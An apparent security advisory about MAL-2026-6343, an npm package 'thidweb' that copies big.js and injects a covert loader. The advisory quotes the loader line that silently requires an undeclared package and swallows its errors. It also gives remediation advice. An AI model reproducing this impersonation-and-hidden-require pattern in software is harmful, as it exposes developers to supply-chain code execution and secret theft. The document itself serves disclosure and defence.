MAL-2026-6343 Malicious code in thidweb (npm)
- Package
- thidweb
- Registry
- npm
What is MAL-2026-6343?
MAL-2026-6343 is a malicious package in thidweb, published on 23 Jun 2026.
Official description
Package is published as thidweb but its README, source comments, repo URL, and author metadata all identify it as big.js v7.0.1 by Mike McLaughlin (README.md line 1 # big.js; big.js header big.js v7.0.1; package.json repository url https://github.com/MikeMcl/big.js.git). The source is a verbatim copy of upstream big.js with a covert loader injected mid-file at big.js:605-609: try { const doc = require("parket-slot"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }. The same block is present in big.mjs. parket-slot is not declared in package.json dependencies; the only declared dependency is log-taker@^0.0.9, which upstream big.js does not require (upstream is dependency-free). Any developer who installs thidweb (mistaking it for big.js) and imports it executes whatever code parket-slot ships, with errors silently swallowed. The combination of impersonation, undeclared runtime require, error-suppressing try/catch, and an unrelated declared dependency is a multi-stage installer-side code-execution attack.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
What should I do about MAL-2026-6343?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
Sources
Also known as GHSA-3vx6-4gr6-qj63.